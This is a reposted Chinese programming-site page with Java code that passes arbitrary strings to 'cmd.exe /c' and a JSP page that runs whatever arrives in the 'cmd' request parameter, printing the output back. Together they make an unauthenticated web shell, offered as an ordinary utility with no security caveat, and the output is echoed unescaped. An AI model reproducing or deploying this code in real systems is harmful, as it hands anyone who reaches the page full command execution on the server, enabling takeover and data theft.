JAVA | mysql | php | DELPHI | ORACLE | .NET | FLEX | HTML | C++ | LINUX
您所在的位置: 首页 > 我的资料

远程执行本地命令

来源:武汉999
浏览次数:0                             2010-02-25 00:00
我要评论(0)  |  复制链接  |     

package com.sunshine.cmd;

/**
 * @(#)ExecCMD.java
 *
 * execute cmd.exe with import command string
 * @sundyt tu
 * @version 1.00 2009/4/8
 */
 
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class ExecCMD {
       
    /**
     * Creates a new instance of <code>ExecCMD</code>.
     */
   public ExecCMD(){
    // do nothing;
   }
   
   public String RunCmd(String command){    
      try
   {
       Process sundyObj;
      sundyObj = Runtime.getRuntime().exec("cmd.exe /c \"" + command + "\"\r");
       InputStream ProcessInfor = sundyObj.getInputStream();
       Scanner InforRead = new Scanner(ProcessInfor);
       StringBuffer sb = new StringBuffer("");
          while(InforRead.hasNextLine())
          {
             sb.append(InforRead.nextLine() + "\r");
          }
          System.out.println(sb.toString());
          return sb.toString();
   }
   catch (IOException e)
   {
      System.out.print(e.toString());
   }     
   return "";
    }
   
    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) throws IOException{
        // TODO code application logic here
      ExecCMD obj = new ExecCMD();
      obj.RunCmd("ping 127.0.0.1 && dir && cd D:\\ && dir");
    }
}
 

 

 

<%@ page language="java" import="java.util.*" contentType="text/html; charset=GBK"%>
<%@page import="com.sunshine.cmd.ExecCMD"%>
<html>
 <head>
  <title>远程执行测试页面</title>
 </head>
 <body>
  <%
   String status = "";
   try {
    String tmp = request.getParameter("cmd");
    status = new String(tmp.getBytes("ISO-8859-1"), "GBK");
    System.out.println("OK\r");
    ExecCMD sundy = new ExecCMD();
    status = sundy.RunCmd(status);
   } catch (Exception OO) {
    System.out.println(OO.toString());
   }
  %>
  <form method="POST" action="cmdTest.jsp">
   执行结果
   <table>
    <tr>
     <td><%=status%></td>
    </tr>
   </table>
   <br>
   <input name="cmd" type="text" size="40">
   <br>
   <input type="submit" value="执行命令">
  </form>
 </body>
</html>

欢迎进入武汉999论坛  |  发表评论  | 责任编辑: tiger
相关新闻
sosoMap1360 zhidaoMap2218 sosoMap1582 sosoMap1683 sosoMap1052 zhidaoMap3211 zhidaoMap829 zhidaoMap1790 infoMap1 zhidaoMap798 sosoMap1818 totalPage_zhidao=4557 totalPage_soso=2426 totalPage_info=1